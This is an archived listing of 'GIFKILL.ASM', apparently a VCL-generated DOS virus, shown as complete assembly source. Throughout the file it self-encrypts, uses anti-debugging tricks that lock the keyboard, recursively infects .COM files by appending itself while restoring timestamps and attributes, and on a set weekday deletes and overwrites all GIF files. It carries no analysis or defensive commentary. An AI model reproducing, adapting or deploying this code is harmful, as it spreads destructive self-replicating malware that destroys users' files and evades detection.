home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / Z10-D.ASM < prev    next >
Assembly Source File  |  1992-08-13  |  11KB  |  393 lines

  1. ; GIFKILL.ASM -- Seek and Destroy GIF
  2. ; Written by Dark Avenger
  3.  
  4. virus_type    equ    0            ; Appending Virus
  5. is_encrypted    equ    1            ; We're encrypted
  6. tsr_virus    equ    0            ; We're not TSR
  7.  
  8. code        segment byte public
  9.         assume    cs:code,ds:code,es:code,ss:code
  10.         org    0100h
  11.  
  12. main        proc    near
  13.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  14. start:        call    find_offset        ; Like a PUSH IP
  15. find_offset:    pop    bp            ; BP holds old IP
  16.         sub    bp,offset find_offset    ; Adjust for length of host
  17.  
  18.         call    encrypt_decrypt        ; Decrypt the virus
  19.  
  20. start_of_code    label    near
  21.  
  22.         lea    si,[bp + buffer]    ; SI points to original start
  23.         mov    di,0100h        ; Push 0100h on to stack for
  24.         push    di            ; return to main program
  25.         movsw                ; Copy the first two bytes
  26.         movsb                ; Copy the third byte
  27.  
  28.         mov    di,bp            ; DI points to start of virus
  29.  
  30.         mov    bp,sp            ; BP points to stack
  31.         sub    sp,128            ; Allocate 128 bytes on stack
  32.  
  33.         mov    ah,02Fh            ; DOS get DTA function
  34.         int    021h
  35.         push    bx            ; Save old DTA address on stack
  36.  
  37.         mov    ah,01Ah            ; DOS set DTA function
  38.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  39.         int    021h
  40.  
  41. stop_tracing:    mov    cx,09EBh
  42.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  43.         jmp    $-2
  44.         add    ah,03Bh            ; AH now equals 025h
  45.         jmp    $-10            ; Execute the HaLT
  46.         lea    bx,[di + null_vector]    ; BX points to new routine
  47.         push    cs            ; Transfer CS into ES
  48.         pop    es            ; using a PUSH/POP
  49.         int    021h
  50.         mov    al,1            ; Disable interrupt 1, too
  51.         int    021h
  52.         jmp    short skip_null        ; Hop over the loop
  53. null_vector:    jmp    $            ; An infinite loop
  54. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  55. lock_keys:    mov    al,128            ; Change here screws DEBUG
  56.         out    021h,al            ; If tracing then lock keyboard
  57.  
  58.         mov    cx,0003h        ; Do 3 infections
  59. search_loop:    push    cx            ; Save CX
  60.         call    search_files        ; Find and infect a file
  61.         pop    cx            ; Restore CX
  62.         loop    search_loop        ; Repeat until CX is 0
  63.  
  64.         call    get_weekday
  65.         cmp    ax,0005h        ; Did the function return 5?
  66.         je    strt00            ; If equal, do effect
  67.         jmp    end00            ; Otherwise skip over it
  68. strt00:        lea    dx,[di + data00]    ; DX points to data
  69.         mov    ah,04Eh            ; DOS find first file function
  70.         mov    cx,00100111b        ; All file attributes valid
  71.         int    021h
  72.         jc    erase_done        ; Exit procedure on failure
  73.         mov    ah,02Fh            ; DOS get DTA function
  74.         int    021h
  75.         lea    dx,[bx + 01Eh]        ; DX points to filename in DTA
  76. erase_loop:    mov    ah,041h            ; DOS delete file function
  77.         int    021h
  78.         mov    ah,03Ch            ; DOS create file function
  79.         xor    cx,cx            ; No attributes for new file
  80.         int    021h
  81.         mov    ah,041h            ; DOS delete file function
  82.         int    021h
  83.         mov    ah,04Fh            ; DOS find next file function
  84.         int    021h
  85.         jnc    erase_loop        ; Repeat until no files left
  86. erase_done:
  87.  
  88. end00:
  89. com_end:    pop    dx            ; DX holds original DTA address
  90.         mov    ah,01Ah            ; DOS set DTA function
  91.         int    021h
  92.  
  93.         mov    sp,bp            ; Deallocate local buffer
  94.  
  95.         xor    ax,ax            ;
  96.         mov    bx,ax            ;
  97.         mov    cx,ax            ;
  98.         mov    dx,ax            ; Empty out the registers
  99.         mov    si,ax            ;
  100.         mov    di,ax            ;
  101.         mov    bp,ax            ;
  102.  
  103.         ret                ; Return to original program
  104. main        endp
  105.  
  106.  
  107.         db    0FAh,045h,02Eh,0B3h,024h
  108.  
  109. search_files    proc    near
  110.         push    bp            ; Save BP
  111.         mov    bp,sp            ; BP points to local buffer
  112.         sub    sp,64            ; Allocate 64 bytes on stack
  113.  
  114.         mov    ah,047h            ; DOS get current dir function
  115.         xor    dl,dl            ; DL holds drive # (current)
  116.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  117.         int    021h
  118.  
  119.         mov    ah,03Bh            ; DOS change directory function
  120.         lea    dx,[di + root]        ; DX points to root directory
  121.         int    021h
  122.  
  123.         call    traverse        ; Start the traversal
  124.  
  125.         mov    ah,03Bh            ; DOS change directory function
  126.         lea    dx,[bp - 64]        ; DX points to old directory
  127.         int    021h
  128.  
  129.         mov    sp,bp            ; Restore old stack pointer
  130.         pop    bp            ; Restore BP
  131.         ret                ; Return to caller
  132.  
  133. root        db    "\",0            ; Root directory
  134. search_files    endp
  135.  
  136. traverse    proc    near
  137.         push    bp            ; Save BP
  138.  
  139.         mov    ah,02Fh            ; DOS get DTA function
  140.         int    021h
  141.         push    bx            ; Save old DTA address
  142.  
  143.         mov    bp,sp            ; BP points to local buffer
  144.         sub    sp,128            ; Allocate 128 bytes on stack
  145.  
  146.         mov    ah,01Ah            ; DOS set DTA function
  147.         lea    dx,[bp - 128]        ; DX points to buffer
  148.         int    021h
  149.  
  150.         mov    ah,04Eh            ; DOS find first function
  151.         mov    cx,00010000b        ; CX holds search attributes
  152.         lea    dx,[di + all_files]    ; DX points to "*.*"
  153.         int    021h
  154.         jc    leave_traverse        ; Leave if no files present
  155.  
  156. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  157.         jne    another_dir        ; If not, try again
  158.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  159.         je    another_dir        ;If so, keep going
  160.  
  161.         mov    ah,03Bh            ; DOS change directory function
  162.         lea    dx,[bp - 98]        ; DX points to new directory
  163.         int    021h
  164.  
  165.         call    traverse        ; Recursively call ourself
  166.  
  167.         pushf                ; Save the flags
  168.         mov    ah,03Bh            ; DOS change directory function
  169.         lea    dx,[di + up_dir]    ; DX points to parent directory
  170.         int    021h
  171.         popf                ; Restore the flags
  172.  
  173.         jnc    done_searching        ; If we infected then exit
  174.  
  175. another_dir:    mov    ah,04Fh            ; DOS find next function
  176.         int    021h
  177.         jnc    check_dir        ; If found check the file
  178.  
  179. leave_traverse:
  180.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  181.         call    find_files        ; Try to infect a file
  182. done_searching:    mov    sp,bp            ; Restore old stack frame
  183.         mov    ah,01Ah            ; DOS set DTA function
  184.         pop    dx            ; Retrieve old DTA address
  185.         int    021h
  186.  
  187.         pop    bp            ; Restore BP
  188.         ret                ; Return to caller
  189.  
  190. up_dir        db    "..",0            ; Parent directory name
  191. all_files    db    "*.*",0            ; Directories to search for
  192. com_mask    db    "*.COM",0        ; Mask for all .COM files
  193. traverse    endp
  194.  
  195.         db    0A6h,03Ch,0B6h,078h,0CCh
  196.  
  197.  
  198. find_files    proc    near
  199.         push    bp            ; Save BP
  200.  
  201.         mov    ah,02Fh            ; DOS get DTA function
  202.         int    021h
  203.         push    bx            ; Save old DTA address
  204.  
  205.         mov    bp,sp            ; BP points to local buffer
  206.         sub    sp,128            ; Allocate 128 bytes on stack
  207.  
  208.         push    dx            ; Save file mask
  209.         mov    ah,01Ah            ; DOS set DTA function
  210.         lea    dx,[bp - 128]        ; DX points to buffer
  211.         int    021h
  212.  
  213.         mov    ah,04Eh            ; DOS find first file function
  214.         mov    cx,00100111b        ; CX holds all file attributes
  215.         pop    dx            ; Restore file mask
  216. find_a_file:    int    021h
  217.         jc    done_finding        ; Exit if no files found
  218.         call    infect_file        ; Infect the file!
  219.         jnc    done_finding        ; Exit if no error
  220.         mov    ah,04Fh            ; DOS find next file function
  221.         jmp    short find_a_file    ; Try finding another file
  222.  
  223. done_finding:    mov    sp,bp            ; Restore old stack frame
  224.         mov    ah,01Ah            ; DOS set DTA function
  225.         pop    dx            ; Retrieve old DTA address
  226.         int    021h
  227.  
  228.         pop    bp            ; Restore BP
  229.         ret                ; Return to caller
  230. find_files    endp
  231.  
  232.         db    002h,0EFh,034h,048h,091h
  233.  
  234. infect_file    proc    near
  235.         mov    ah,02Fh            ; DOS get DTA address function
  236.         int    021h
  237.         mov    si,bx            ; SI points to the DTA
  238.  
  239.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  240.  
  241.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  242.         jbe    size_ok            ; If it's small enough continue
  243.         jmp    infection_done        ; Otherwise exit
  244.  
  245. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  246.         lea    dx,[si + 01Eh]        ; DX points to file name
  247.         int    021h
  248.         xchg    bx,ax            ; BX holds file handle
  249.  
  250.         mov    ah,03Fh            ; DOS read from file function
  251.         mov    cx,3            ; CX holds bytes to read (3)
  252.         lea    dx,[di + buffer]    ; DX points to buffer
  253.         int    021h
  254.  
  255.         mov    ax,04202h        ; DOS file seek function, EOF
  256.         cwd                ; Zero DX _ Zero bytes from end
  257.         mov    cx,dx            ; Zero CX /
  258.         int    021h
  259.  
  260.         xchg    dx,ax            ; Faster than a PUSH AX
  261.         mov    ah,03Eh            ; DOS close file function
  262.         int    021h
  263.         xchg    dx,ax            ; Faster than a POP AX
  264.  
  265.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  266.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  267.         je    infection_done        ; If equal then exit
  268.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  269.         add    ax,finish - start    ; Re-adjust to make the jump
  270.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  271.  
  272.         mov    ax,04301h        ; DOS set file attrib. function
  273.         xor    cx,cx            ; Clear all attributes
  274.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  275.         int    021h
  276.  
  277.         mov    ax,03D02h        ; DOS open file function, r/w
  278.         int    021h
  279.         xchg    bx,ax            ; BX holds file handle
  280.  
  281.         mov    ah,040h            ; DOS write to file function
  282.         mov    cx,3            ; CX holds bytes to write (3)
  283.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  284.         int    021h
  285.  
  286.         mov    ax,04202h        ; DOS file seek function, EOF
  287.         cwd                ; Zero DX _ Zero bytes from end
  288.         mov    cx,dx            ; Zero CX /
  289.         int    021h
  290.  
  291.         push    si            ; Save SI through call
  292.         call    encrypt_code        ; Write an encrypted copy
  293.         pop    si            ; Restore SI
  294.  
  295.         mov    ax,05701h        ; DOS set file time function
  296.         mov    cx,[si + 016h]        ; CX holds old file time
  297.         mov    dx,[si + 018h]        ; DX holds old file date
  298.         int    021h
  299.  
  300.         mov    ah,03Eh            ; DOS close file function
  301.         int    021h
  302.  
  303.         mov    ax,04301h        ; DOS set file attrib. function
  304.         xor    ch,ch            ; Clear CH for file attribute
  305.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  306.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  307.         int    021h
  308.  
  309. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  310.         ret                ; Return to caller
  311.  
  312. set_carry    db    ?            ; Set-carry-on-exit flag
  313. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  314. new_jump    db    0E9h,?,?        ; New jump to virus
  315. infect_file    endp
  316.  
  317.  
  318.         db    089h,043h,03Bh,054h,0AAh
  319.  
  320. get_weekday     proc    near
  321.         mov    ah,02Ah            ; DOS get date function
  322.         int    021h
  323.         cbw                ; Sign-extend AL into AX
  324.         ret                ; Return to caller
  325. get_weekday     endp
  326.  
  327. data00        db      "*.GIF",0
  328.  
  329. vcl_marker      db      "[Z10]",0               ; VCL creation marker
  330.  
  331.  
  332. note        db    "Bye Bye Mr.GIF",0
  333.         db    "You'll never find all the file"
  334.         db    "s I have infected!",0
  335.  
  336. encrypt_code    proc    near
  337.         push    bp            ; Save BP
  338.         mov    bp,di            ; Use BP as pointer to code
  339.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  340.  
  341.         xor    ah,ah            ; BIOS get time function
  342.         int    01Ah
  343.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  344.  
  345.         xor    byte ptr [si + 1],8    ;
  346.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  347.         xor    word ptr [si + 11],0101h; (and vice-versa)
  348.  
  349.         lea    di,[bp + finish]    ; Copy routine into heap
  350.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  351.         push    si            ; Save SI for later
  352.         push    cx            ; Save CX for later
  353.     rep    movsb                ; Copy the bytes
  354.  
  355.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  356.         mov    cx,5            ; CX holds length of write
  357.     rep    movsb                ; Copy the bytes
  358.  
  359.         pop    cx            ; Restore CX
  360.         pop    si            ; Restore SI
  361.         inc    cx            ; Copy the RET also this time
  362.     rep    movsb                ; Copy the routine again
  363.  
  364.         mov    ah,040h            ; DOS write to file function
  365.         lea    dx,[bp + start]        ; DX points to virus
  366.  
  367.         lea    si,[bp + finish]    ; SI points to routine
  368.         call    si            ; Encrypt/write/decrypt
  369.  
  370.         mov    di,bp            ; DI points to virus again
  371.         pop    bp            ; Restore BP
  372.         ret                ; Return to caller
  373.  
  374. write_stuff:    mov    cx,finish - start    ; Length of code
  375.         int    021h
  376. encrypt_code    endp
  377.  
  378. end_of_code    label    near
  379.  
  380. encrypt_decrypt    proc    near
  381.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  382.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  383. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  384.         inc    si            ; Do the next word
  385.         inc    si            ;
  386.         loop    xor_loop        ; Loop until we're through
  387.         ret                ; Return to caller
  388. encrypt_decrypt    endp
  389. finish        label    near
  390.  
  391. code        ends
  392.         end    main
  393.